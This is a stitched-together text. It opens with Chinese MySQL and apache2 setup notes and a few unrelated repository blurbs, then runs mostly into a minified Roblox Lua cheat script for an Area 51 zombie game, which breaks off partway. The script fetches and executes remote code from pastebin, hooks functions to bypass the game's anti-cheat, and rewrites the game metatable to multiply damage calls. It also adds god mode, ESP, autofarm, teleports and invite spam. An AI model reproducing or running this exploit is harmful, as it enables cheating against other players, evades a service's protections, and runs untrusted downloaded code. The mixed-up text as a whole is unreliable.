IDENTIFIED BY “123456″; ’123456‘是root的密码,可以自由设置,但最好是设个安全点的。 #mysql> quit; 退出mysql apache2的操作命令 启动:#sudo /etc/init.d/apache2 start 重启:#sudo /etc/init.d/apache2 restart 关闭:#sudo /etc/init.d/apache2 stop apache2的默认主目录:/var/www/
AIB001
PRISM (Protein Receptor Interaction Simulation Modeler) is a comprehensive tool for building protein-ligand systems for molecular simulations, including MD, PMF, REST2, etc. in GROMACS, developed by ZJUIQB. It supports multiple force fields for ligands including GAFF , OpenFF, CGENFF, Opls-AA, etc. MCP server is provided for AI-Agent
mc-robinson
Command line tool providing BOSS generated OPLS-AA/CM1A(-LBCC) parameters for organic molecules and ligands.
ysksn
t_wada AA formatter for SimpleCov code coverage tool
local b=game:GetService("Players")local c=game:GetService("ReplicatedStorage")local d=game:GetService("StarterGui")local e=game:GetService("RunService")local f=game:GetService("StarterPlayer")local g=game:GetService("TestService")local h=game:GetService("VirtualUser")local i=game:GetService("TweenService")local j=game:GetService("UserInputService")local k=game:GetService("Players").LocalPlayer;local l=game.Workspace.CurrentCamera;local m=loadstring(game:HttpGet("https://api.irisapp.ca/Scripts/IrisBetterNotifications.lua"))()local n=loadstring(game:HttpGet("https://pastebin.com/raw/en4Ma7jr"))()local o="BloodTheme"local p=get_thread_context or get_thread_identity or getidentity or syn_context_get;getgenv().syn_context_get=newcclosure(function(...)return p(...)end)if game.PlaceId==2092166489 then function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)m.Notify("Survive and Kill the Killers UI","Loaded","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})local x=n.CreateLib("Classic Mode UI",o)local y=x:NewTab("Autofarm:")local z=y:NewSection("Enable/Disable Autofarm")local function A()local B=workspace.CurrentCamera;local C=k.Character;local D=k;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end end;local function J()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.StarterGear end end;for K,v in pairs(game:GetService("Players").LocalPlayer.StarterGear:GetChildren())do if v:IsA("Tool")then v.Parent=game.Players.LocalPlayer.Backpack end end end;local function L()for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end;local function N()for K,v in pairs(game:GetService("Workspace").AREA51.SewerCaptainRoom["Captain Zombie Feeder"].Cage:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end;local function O()local P=k.Character.HumanoidRootPart;function GetWepons(Q)firetouchinterest(P,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end;z:NewToggle("//Autofarm \\","Enables Autofarm for SAKTK",function(R)if R then n:ToggleUI()m.Notify("Enabled Autofarm","Press F to Enable the SAKTK UI to disable autofarm.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})L()N()O()k.CameraMode=Enum.CameraMode.LockFirstPerson;for K,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k.Character end end;game:GetService("StarterGui").TailsPopup.Enabled=false;game:GetService("Players").LocalPlayer.PlayerGui.TailsPopup.Enabled=false;game:GetService("Workspace").Killers:FindFirstChild("Giant"):Destroy()for K,v in pairs(game.Workspace.Killers:GetChildren())do if v:IsA("Model")then repeat wait()mouse1press()l.CoordinateFrame=CFrame.new(l.CoordinateFrame.p,v.Head.CFrame.p)k.Character.HumanoidRootPart.CFrame=v.Head.CFrame+v.Head.CFrame.lookVector*-5 until v.Zombie.Health==0;wait()end end else workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewToggle("Fullbright","Makes the game bright",function(R)m.Notify("Fullbright","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then game:GetService("Lighting").Brightness=2;game:GetService("Lighting").ClockTime=14;game:GetService("Lighting").FogEnd=100000;game:GetService("Lighting").GlobalShadows=false;game:GetService("Lighting").OutdoorAmbient=Color3.fromRGB(128,128,128)else m.Notify("Fullbright","Disabled","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})origsettings={abt=game:GetService("Lighting").Ambient,oabt=game:GetService("Lighting").OutdoorAmbient,brt=game:GetService("Lighting").Brightness,time=game:GetService("Lighting").ClockTime,fe=game:GetService("Lighting").FogEnd,fs=game:GetService("Lighting").FogStart,gs=game:GetService("Lighting").GlobalShadows}game:GetService("Lighting").Ambient=origsettings.abt;game:GetService("Lighting").OutdoorAmbient=origsettings.oabt;game:GetService("Lighting").Brightness=origsettings.brt;game:GetService("Lighting").ClockTime=origsettings;game:GetService("Lighting").FogEnd=200;game:GetService("Lighting").FogStart=20;game:GetService("Lighting").FogColor=191,191,191;game:GetService("Lighting").GlobalShadows=origsettings.gs end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)z:NewButton("Unlock all Secrets","Unlocks all the secrets in the game",function()O()firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,game:GetService("Workspace").AREA51.RadioactiveArea.GiantZombieRoom.GiantZombieEngine.Close.Door2,0)function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game:GetService("Workspace"):GetDescendants())do if v:IsA("Part")and v.Name:match("Paper")or v.Name:match("Reward")then GetWepons(v)end end;for K,v in pairs(game:GetService("Workspace"):GetDescendants())do if v:IsA("Part")and v.Name:match("TheButton")then GetWepons(v)end end;firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,game:GetService("Workspace").AREA51.PlantRoom["Box of Shells"].Box,0)wait(0.2)local a1=k.Character.HumanoidRootPart.CFrame;k.Character.HumanoidRootPart.CFrame=CFrame.new(game:GetService("Workspace").AREA51.ExecutionRoom.Reward.Position)wait(0.2)game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer("M14")k.CFrame=CFrame.new(326.773315,511.5,392.70932,0.982705772,0,-0.185173988,0,1,0,0.185173988,0,0.982705772)end)z:NewButton("Get all Badges","Gives almost every badge.",function()O()firetouchinterest(a,game:GetService("Workspace").AREA51.SecretPath6.Reward)for a2,v in pairs(game:GetService("Workspace").AREA51.Badges:GetDescendants())do if v:IsA("TouchTransmitter")and v.Parent:IsA("Part")then firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Parent,0)wait()firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Parent,1)end end end)z:NewButton("Get Gamepasses","Tries to give you gamepasses.",function()game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=25;O()game.Players.LocalPlayer.Character.Humanoid.Died:Connect(function()wait(8)game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=25;O()J()end)end)z:NewButton("Get Code for Door","Please walk after clicking this.",function()m.Notify("Get Code","Enabled Please walk forward the first number is the first numeral for the door.","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})for a2,v in pairs(game:GetService("Workspace").AREA51.CodeModel:GetDescendants())do if v:IsA("Part")then wait(.33)v.CFrame=game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame end end end)local y=x:NewTab("Gun Cheats:")local z=y:NewSection("Rainbow Weapons")z:NewButton("Get all Weapons","Gives you every weapon in-game",function()function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end)z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One shot Killers","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"Missile Touch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("PAP Weapons:")local z=y:NewSection("Select Weapon to Pack a Punch")local a9=getrawmetatable(game)local aa=a9.__index;setreadonly(a9,false)a9.__index=newcclosure(function(self,af)if tostring(self)=='Busy'and af=='Value'then return false end;return aa(self,af)end)setreadonly(a9,true)z:NewToggle("PAP All Weapons","PAP all your weapons in your inventory.",function(R)m.Notify("PAP All","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then _G.papAll=true;while wait(5)do if _G.papAll==true then for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(v.Name)end end end else _G.papAll=false end end)z:NewDropdown("PAP Weapon","DropdownInf",{"M1911","RayGun","MP5k","R870","M4A1","AK-47","M1014","Desert Eagle","SVD","M16A2/M203","M14","G36C","AWP","Crossbow","Desert Eagle"},function(ag)m.Notify("PAP..",ag,"http://www.roblox.com/asset/?id=5502174644",{Duration=4,Main={Rounding=true}})game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(ag)end)local y=x:NewTab("Doors AREA51:")local z=y:NewSection("Open/Close Doors")z:NewToggle("Spam Open Doors","Spam Opens the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewToggle("Spam Close Doors","Spam Closes the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewButton("Open Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end)z:NewButton("Close Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end)local y=x:NewTab("ESP:")local z=y:NewSection("ESP for Player/Killers")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Parent.Name=="Characters to kill"and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Killer ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Zombie")and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("Teleports:")local z=y:NewSection("Teleports")z:NewDropdown("Weapon Teleports","DropdownInf",{"M14","RILG","R870","CLT1","SBG","SVD","Code-Door"},function(ag)local hum=k.Character.HumanoidRootPart;local aj=hum.CFrame;if ag=="M14"then hum.CFrame=CFrame.new(106.981911,323.620026,678.865051,0.108975291,-4.31107949e-08,0.994044483,-5.13666043e-09,1,4.39322072e-08,-0.994044483,-9.89359261e-09,0.108975291)wait(.2)hum.CFrame=CFrame.new(aj)elseif ag=="RILG"then hum.CFrame=CFrame.new(232.505737,373.660004,45.4774323,-0.999948323,-2.07754458e-09,0.0101688765,-3.00104475e-09,1,-9.08010804e-08,-0.0101688765,-9.08269016e-08,-0.999948323)elseif ag=="R870"then hum.CFrame=CFrame.new(143.435638,333.659973,499.670258,0.068527095,6.73678642e-08,-0.997649252,2.92282767e-08,1,6.95342521e-08,0.997649252,-3.39245503e-08,0.068527095)elseif ag=="CLT1"then hum.CFrame=CFrame.new(60.6713562,291.579956,262.712402,-0.0193858538,1.378409e-07,0.999812067,1.73167649e-08,1,-1.37531046e-07,-0.999812067,1.46473536e-08,-0.0193858538)elseif ag=="SBG"then hum.CFrame=CFrame.new(3.0812099,267.780121,184.758041,-0.998869121,3.20666018e-08,-0.0475441888,3.84712493e-08,1,-1.33794302e-07,0.0475441888,-1.35472078e-07,-0.998869121)elseif ag=="SVD"then hum.CFrame=CFrame.new(181.740906,306.660126,179.980011,-0.977237761,-295549789e-08,0.212145314,-3.5164706e-08,1,-2.25858496e-08,-0.212145314,-2.95278366e-08,-0.977237761)elseif ag=="blRU"then hum.CFrame=CFrame.new(19.2511063,313.500336,204.38269,0.113481902,7.8155864e08,0.993540049,-2.13239897e-08,1,-7.62284031e-08,-0.993540049,-1.25357014e-08,0.113481902)end end)z:NewDropdown("Teleport to Room","DropdownInf",{"Cafe-Room","Cartons-Room","Code-Door","Computers-Room","Corridor-to-Meeting-Room","Electricity-Room","Emergency-Hole-Down-To-Area","Entrance-To-Area","Main-Room","Entrance"},function(ag)if ag=="Cafe-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CafeRoom.Tables.Table.Table.Model.Part.CFrame elseif ag=="Cartons-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(149.739914,313.500458,194.231888,0.442422092,6.81004985e-06,-0.896806836,1.24363009e-06,1,8.20718469e-06,0.896806836,-4.74633543e-06,0.442422092)elseif ag=="Code-Door"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CodeDoorRoom.CodeDoor.Door.CFrame elseif ag=="Computers-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(219.700012,310,370.399994,-1,0,0,0,1,0,0,0,-1)elseif ag=="Corridor-to-Meeting-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CorridorToMeetingRoom.Part.CFrame elseif ag=="Electricity-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.ElectricityRoom.Generator1.Base.CFrame elseif ag=="Emergency-Hole-Down-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EmercencyHoleDownToArea.Part.CFrame elseif ag=="Entrance-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EntranceOfArea.Part.CFrame elseif ag=="Main-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.MainRoom.Part.CFrame elseif ag=="Entrance"then hum.CFrame=CFrame.new(327.317322,511.5,397.900269,1,-2.05416537e-08,-2.7642145e-15,2.05416537e-08,1,1.25194637e-08,2.50704388e-15,-1.25194637e-08,1)elseif ag=="Code-Door"then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CodeDoorRoom.CodeDoor.Enter end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(3508248007,k)end)elseif game.PlaceId==155382109 then local o="BloodTheme"local x=n.CreateLib("Main Menu UI",o)local y=x:NewTab("Main:")local z=y:NewSection("You're currently in the main menu.")z:NewTextBox("Enter Username","Enter Name.",function(ak)_G.getText=ak end)z:NewToggle("Spam-Send-Invites","Automatically sends a invite every 5 seconds.",function(R)if R then _G.autoSend=true;while wait()do if _G.autoSend==true then if _G.getText==""then m.Notify("Please enter a Username.","","http://www.roblox.com/asset/?id=261113606",{Duration=9,Main={Rounding=true}})end;local ad={[1]=game:GetService("Players")[_G.getText]}game:GetService("ReplicatedStorage").BossRushFunctions.RequestJoin:InvokeServer(unpack(ad))end end else _G.autoSend=false end end)z:NewButton("Spam Join Storming","Spam Joins and Leaves Storming",function()_G.spam=true;while wait()do if _G.spam==true then game:GetService("ReplicatedStorage").StormingEvents.JoinRequested:FireServer()wait(.1)game:GetService("ReplicatedStorage").StormingEvents.LeaveRequested:FireServer()end end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("ReplicatedStorage").StormingEvents.JoinRequested:FireServer()end)elseif game.PlaceId==6054929905 then local o="BloodTheme"local x=n.CreateLib("Boss Rush Mode UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Main:")local z=y:NewSection("")z:NewToggle("Autofarm Boss:","Enables Autofarm for Killers",function(R)if R then m.Notify("Enabled Autofarm for Boss","This is buggy.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})local l=game.Workspace.CurrentCamera;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end;_G.autoFarm=true;while wait(0.5)do if _G.autoFarm==true then for a2,v in pairs(game:GetService("Workspace").AREA51.Map.Boss:GetChildren())do if v:IsA("Part")and v.BrickColor==BrickColor.new("New Yeller")then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=v.CFrame end end;for a2,v in pairs(game:GetService("Workspace").AREA51.Map.Boss:GetChildren())do if v:IsA("Part")and v.BrickColor==BrickColor.new("Really red")then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=v.CFrame end end end end else G.autoFarm=false;workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewToggle("Fullbright","Makes the game bright",function(R)m.Notify("Fullbright","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then game:GetService("Lighting").Brightness=2;game:GetService("Lighting").ClockTime=14;game:GetService("Lighting").FogEnd=100000;game:GetService("Lighting").GlobalShadows=false;game:GetService("Lighting").OutdoorAmbient=Color3.fromRGB(128,128,128)else 